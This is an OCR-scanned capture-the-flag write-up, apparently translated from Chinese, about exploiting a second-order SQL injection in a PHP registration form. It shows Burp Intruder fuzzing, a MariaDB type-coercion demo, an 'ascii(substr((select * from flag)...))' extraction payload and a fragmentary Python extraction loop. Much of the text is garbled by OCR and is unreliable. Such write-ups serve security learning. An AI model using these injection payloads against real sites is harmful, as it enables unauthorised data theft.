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POST fregister.php HTTP/1.1

Host: 111,200,241, 24455778

Content-Length: 57

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://111.200. 241, 24456778

Content-Type: application/x-www-Torm-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinGd; x&4)

Applewebkit /537,36 (KHTML, Tike Gecko) Chrome/25,0, 4638, 69
Safari/537.36

Accept:

text/html, application/xhtml+xml,application/xml:g=0.9, image/a
vif,image/webp,image/apng, */*;g=0.8, application/signed-exchan
ge:v=h3;g=0.9

Referer: http: /111,200,241, 244:56778/register.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh:g=0.9

Cookie: user=4b9987ccafach8defco8d22bbeca7e7ba; PHPSESSID=
0fclal79e2c37deg2udbnfoisl

Connection: close

email=1234%40qq.combusername=1%27%2B1%26%271&password=123
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Cache-Control: no-store, no-cache, must-revalidate,
post -check=0, pre-check=0

Fragma: no-cache

Location: login.php

Content-Length: 544

Connection: close

Content -Type: text/html

= DOCTYPE html =
=html=
<head=
=meta http-equiv="Content-Type" content="text /html:
charset=utf-g"=
<title=
CTF
=ftitle=
=meta name="apple-mobile-web-app-capable" content="yes"=
=meta name="viewport" content="
width=device-width, height=device-height,initial-scale=1.0,mi
nimum-scale=1.0, maximum-scale=1.0,user-scalable=no" /=
=metaname="format-detection" content="telephone=no, email=no
=
<link rel="stylesheet" href="./stylesheets/flaticon.css" /=
<link rel='stylesheet' href='. /stylesheets/style.css' /=
=/head=
<body=
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RKI=AKEF, email. username. password, /)5 EIEHZusername, A RITT/EXFusrnameATIEN, WfTE
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer
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Target Pasitions Payloads Resource Pool Options

@ Payload Positions

Logger

Extender Project options User options. Learn

Startattack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way inwhich payleads are assigned to payload positions - see helpfor full details.

Attacktype: | Sniper ]
1 POST /register.php HTTP/1.1 | Add §
2 Host: 111,200,241 244:56778 —————
3 Content-Length: 57 [ Clears
4 Cache-Control: max-age=0 |To§
S Upgrade-Insecure-Requests: 1
6 Origin: http://111.200, 241.244:56778 | Refresh

Content-Type: application/x-www-form-urlencoded

@ ~

")

10 Referer: http://111,200, 241,244:56778/register.php
11 Accept-Encoding: gzip. deflate
12 Accept-Language: zh-CN,zh:g=0.9

13 Cookie: user=4b9987ccafach8d8fc08d22bbca797ba; PHPSESSID=0fclal7962c37deg2udbnfojsl

14 Connection: close

16 email=1234%40qq. cumLusername=§19a27%231962E§G2?1§Lpassword=12ﬂ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4d; x64) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/85. 0. 4638, 69 Safar1/537. 36
Accept: text/html,application/xhtml+xml,application/xml g=0.9, inage/avif.inage/webp, inage/apna, */*:q=0.8, application/sianed-exchange;v=b3:g=0.9
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® PayloadSets m

You can define one or more paylead sets. The number of payload sets depends on the attack type defined in the Positiens tab. Various payload types are available fer each payload set, and each payload type can be custemized in different ways

Payloadset: | 1 ~|  Payloadcount: 11

Payload type:l Simple list v| Request count: 11

(@) Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.
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3. Intruder attack of111.200.241.244 - Temporary attack - Not saved to project file

Attack Sawve Columns

Results Target Positions Payloads Resource Pool Cptions
Filter: Showing all items |®
Request Payload Status Error  Timeput Length Comment
0 302 294
1 ! 200 2247
2 ! 200 2247
3 , 200 904
4 informaticn 200 904
5 ! 202 294
& @ 302 894
7 # 202 294
8 5 302 294
9 % 202 294
10 A 302 894
11 & 202 294
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AR 0’ +1+ 0 N, WK%, MySQLIESKI—M4sE, R + EMySQLHRAENBHEFFH, 51/ —EA:

MariaDB [(none)]> select @+1;

1 row in set (0.000 sec)

MariaDB [(none)]> select '@'+'1a';

1 row in set, 1 warning (0.000 sec) Csp

FIF XA, BRI LI Epayload: ©’+ascii(substr((select * from flag),1,1))+‘0 XFERATF W LAE BlflagR (XA
ZRIEW, —RCTFRENE, WMRAFRFHNRRELIKE, REHRlag) BHLERNE —ANFriascity, HEZAFUZZE &
R BT, EREEERUATLA from * for * RE, FrUARMIKIE KX payload Ay 0’ +ascii(substr((select * from
flag) from 1 for 1))+'0 .

“(PS: BRI AEHIWP G ] Tfrom * for B[R IAIIR#E, REHFE T HIHIE N4, BLIRHES)

AERIERAME, QMR 2B ek ELRAag, THREIFH ZKEN, E3fagiiEfiascifiizEE R YK, RE
SR [E] 8 # B o B0 O e Rasciift, HBHEAE. o .
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https://warm-glow.fun/posts/83ad408f/#more

for i in

register_data

res requests.post(url=register_url,data=register_data)

login_data

res requests.post(url=login_url, data=login_data)

num re.search( , res.text)

flag ( (num.group(1).strip()))
print(flag)
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A A EEILE < span class=“user-name”> ?2H1&:

[w ﬂ Elements Console Sources Network »  H1 e X

<html lang="en" class=" slideout-ocpen”:
P <head>.</head>
¥ <hody class="wvsc-initialized":
¥ <nav id="menu" class=" slideout-menu”>
¥odive

¥ odiv class="img-div":

span.user-name 25599 x 64,55

1

P odiv class="user-img"».</div>

I<5pan class="user-name”> 1 </span> == £8 I
- TE

<fdivs

</nav>
F<main id="panel” class=" slideout-pansl” style="transform: translateX
(256px) ;" rw</main:
<script src="./javascripts/slidecout/slideout.min.js"»</script:
P oscriptr.</scripts
</body>
</html:
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